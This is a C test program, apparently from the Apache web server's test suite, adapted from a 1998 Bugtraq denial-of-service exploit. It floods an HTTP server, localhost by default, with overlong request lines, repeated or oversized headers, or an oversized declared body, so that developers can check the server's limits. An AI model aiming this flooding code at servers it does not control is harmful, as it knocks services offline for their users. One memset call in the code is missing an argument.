|
Packit |
90a5c9 |
/**************************************************************
|
|
Packit |
90a5c9 |
* test_limits.c
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* A simple program for sending abusive requests to a server, based
|
|
Packit |
90a5c9 |
* on the sioux.c exploit code that this nimrod posted (see below).
|
|
Packit |
90a5c9 |
* Roy added options for testing long header fieldsize (-t h), long
|
|
Packit |
90a5c9 |
* request-lines (-t r), and a long request body (-t b).
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
|
|
Packit |
90a5c9 |
* gcc -o test_limits test_limits.c
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* Solaris 2.5.1:
|
|
Packit |
90a5c9 |
* gcc -o test_limits test_limits.c -lsocket -lnsl
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* Message-ID: <861zqspvtw.fsf@niobe.ewox.org>
|
|
Packit |
90a5c9 |
* Date: Fri, 7 Aug 1998 19:04:27 +0200
|
|
Packit |
90a5c9 |
* Sender: Bugtraq List <BUGTRAQ@netspace.org>
|
|
Packit |
90a5c9 |
* From: Dag-Erling Coidan =?ISO-8859-1?Q?Sm=F8rgrav?= <finrod@EWOX.ORG>
|
|
Packit |
90a5c9 |
* Subject: YA Apache DoS attack
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* Copyright (c) 1998 Dag-Erling Codan Smrgrav
|
|
Packit |
90a5c9 |
* All rights reserved.
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* Redistribution and use in source and binary forms, with or without
|
|
Packit |
90a5c9 |
* modification, are permitted provided that the following conditions
|
|
Packit |
90a5c9 |
* are met:
|
|
Packit |
90a5c9 |
* 1. Redistributions of source code must retain the above copyright
|
|
Packit |
90a5c9 |
* notice, this list of conditions and the following disclaimer
|
|
Packit |
90a5c9 |
* in this position and unchanged.
|
|
Packit |
90a5c9 |
* 2. Redistributions in binary form must reproduce the above copyright
|
|
Packit |
90a5c9 |
* notice, this list of conditions and the following disclaimer in the
|
|
Packit |
90a5c9 |
* documentation and/or other materials provided with the distribution.
|
|
Packit |
90a5c9 |
* 3. The name of the author may not be used to endorse or promote products
|
|
Packit |
90a5c9 |
* derived from this software withough specific prior written permission
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
|
Packit |
90a5c9 |
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
|
Packit |
90a5c9 |
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
|
Packit |
90a5c9 |
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
|
Packit |
90a5c9 |
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
|
Packit |
90a5c9 |
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
|
Packit |
90a5c9 |
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
Packit |
90a5c9 |
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
Packit |
90a5c9 |
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
Packit |
90a5c9 |
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
Packit |
90a5c9 |
*
|
|
Packit |
90a5c9 |
*/
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
/*
|
|
Packit |
90a5c9 |
* Kudos to Mark Huizer who originally suggested this on freebsd-current
|
|
Packit |
90a5c9 |
*/
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
#include <sys/types.h>
|
|
Packit |
90a5c9 |
#include <sys/uio.h>
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
#include <sys/socket.h>
|
|
Packit |
90a5c9 |
#include <netinet/in.h>
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
#include <netdb.h>
|
|
Packit |
90a5c9 |
#include <stdio.h>
|
|
Packit |
90a5c9 |
#include <stdlib.h>
|
|
Packit |
90a5c9 |
#include <string.h>
|
|
Packit |
90a5c9 |
#include <unistd.h>
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
#define TEST_LONG_REQUEST_LINE 1
|
|
Packit |
90a5c9 |
#define TEST_LONG_REQUEST_FIELDS 2
|
|
Packit |
90a5c9 |
#define TEST_LONG_REQUEST_FIELDSIZE 3
|
|
Packit |
90a5c9 |
#define TEST_LONG_REQUEST_BODY 4
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
void
|
|
Packit |
90a5c9 |
usage(void)
|
|
Packit |
90a5c9 |
{
|
|
Packit |
90a5c9 |
fprintf(stderr,
|
|
Packit |
90a5c9 |
"usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
int
|
|
Packit |
90a5c9 |
main(int argc, char *argv[])
|
|
Packit |
90a5c9 |
{
|
|
Packit |
90a5c9 |
struct sockaddr_in sin;
|
|
Packit |
90a5c9 |
struct hostent *he;
|
|
Packit |
90a5c9 |
FILE *f;
|
|
Packit |
90a5c9 |
int o, sd;
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
/* default parameters */
|
|
Packit |
90a5c9 |
char *addr = "localhost";
|
|
Packit |
90a5c9 |
int port = 80;
|
|
Packit |
90a5c9 |
int num = 1000;
|
|
Packit |
90a5c9 |
int testtype = TEST_LONG_REQUEST_FIELDS;
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
/* get options */
|
|
Packit |
90a5c9 |
while ((o = getopt(argc, argv, "t:a:p:n:")) != EOF)
|
|
Packit |
90a5c9 |
switch (o) {
|
|
Packit |
90a5c9 |
case 't':
|
|
Packit |
90a5c9 |
if (*optarg == 'r')
|
|
Packit |
90a5c9 |
testtype = TEST_LONG_REQUEST_LINE;
|
|
Packit |
90a5c9 |
else if (*optarg == 'n')
|
|
Packit |
90a5c9 |
testtype = TEST_LONG_REQUEST_FIELDS;
|
|
Packit |
90a5c9 |
else if (*optarg == 'h')
|
|
Packit |
90a5c9 |
testtype = TEST_LONG_REQUEST_FIELDSIZE;
|
|
Packit |
90a5c9 |
else if (*optarg == 'b')
|
|
Packit |
90a5c9 |
testtype = TEST_LONG_REQUEST_BODY;
|
|
Packit |
90a5c9 |
break;
|
|
Packit |
90a5c9 |
case 'a':
|
|
Packit |
90a5c9 |
addr = optarg;
|
|
Packit |
90a5c9 |
break;
|
|
Packit |
90a5c9 |
case 'p':
|
|
Packit |
90a5c9 |
port = atoi(optarg);
|
|
Packit |
90a5c9 |
break;
|
|
Packit |
90a5c9 |
case 'n':
|
|
Packit |
90a5c9 |
num = atoi(optarg);
|
|
Packit |
90a5c9 |
break;
|
|
Packit |
90a5c9 |
default:
|
|
Packit |
90a5c9 |
usage();
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if (argc != optind)
|
|
Packit |
90a5c9 |
usage();
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
/* connect */
|
|
Packit |
90a5c9 |
if ((he = gethostbyname(addr)) == NULL) {
|
|
Packit |
90a5c9 |
perror("gethostbyname");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
memset(&sin, sizeof(sin));
|
|
Packit |
90a5c9 |
memcpy((char *)&sin.sin_addr, he->h_addr, he->h_length);
|
|
Packit |
90a5c9 |
sin.sin_family = he->h_addrtype;
|
|
Packit |
90a5c9 |
sin.sin_port = htons(port);
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
|
|
Packit |
90a5c9 |
perror("socket");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
|
|
Packit |
90a5c9 |
perror("connect");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if ((f = fdopen(sd, "r+")) == NULL) {
|
|
Packit |
90a5c9 |
perror("fdopen");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
/* attack! */
|
|
Packit |
90a5c9 |
fprintf(stderr, "Testing like a plague of locusts on %s\n", addr);
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if (testtype == TEST_LONG_REQUEST_LINE) {
|
|
Packit |
90a5c9 |
fprintf(f, "GET ");
|
|
Packit |
90a5c9 |
while (num-- && !ferror(f)) {
|
|
Packit |
90a5c9 |
fprintf(f, "/123456789");
|
|
Packit |
90a5c9 |
fflush(f);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
fprintf(f, " HTTP/1.0\r\n\r\n");
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
else {
|
|
Packit |
90a5c9 |
fprintf(f, "GET /fred/foo HTTP/1.0\r\n");
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
if (testtype == TEST_LONG_REQUEST_FIELDSIZE) {
|
|
Packit |
90a5c9 |
while (num-- && !ferror(f)) {
|
|
Packit |
90a5c9 |
fprintf(f, "User-Agent: sioux");
|
|
Packit |
90a5c9 |
fflush(f);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
fprintf(f, "\r\n");
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
else if (testtype == TEST_LONG_REQUEST_FIELDS) {
|
|
Packit |
90a5c9 |
while (num-- && !ferror(f))
|
|
Packit |
90a5c9 |
fprintf(f, "User-Agent: sioux\r\n");
|
|
Packit |
90a5c9 |
fprintf(f, "\r\n");
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
else if (testtype == TEST_LONG_REQUEST_BODY) {
|
|
Packit |
90a5c9 |
fprintf(f, "User-Agent: sioux\r\n");
|
|
Packit |
90a5c9 |
fprintf(f, "Content-Length: 33554433\r\n");
|
|
Packit |
90a5c9 |
fprintf(f, "\r\n");
|
|
Packit |
90a5c9 |
while (num-- && !ferror(f))
|
|
Packit |
90a5c9 |
fprintf(f, "User-Agent: sioux\r\n");
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
else {
|
|
Packit |
90a5c9 |
fprintf(f, "\r\n");
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
fflush(f);
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
{
|
|
Packit |
90a5c9 |
apr_ssize_t len;
|
|
Packit |
90a5c9 |
char buff[512];
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
while ((len = read(sd, buff, 512)) > 0)
|
|
Packit |
90a5c9 |
len = write(1, buff, len);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
if (ferror(f)) {
|
|
Packit |
90a5c9 |
perror("fprintf");
|
|
Packit |
90a5c9 |
exit(1);
|
|
Packit |
90a5c9 |
}
|
|
Packit |
90a5c9 |
|
|
Packit |
90a5c9 |
fclose(f);
|
|
Packit |
90a5c9 |
exit(0);
|
|
Packit |
90a5c9 |
}
|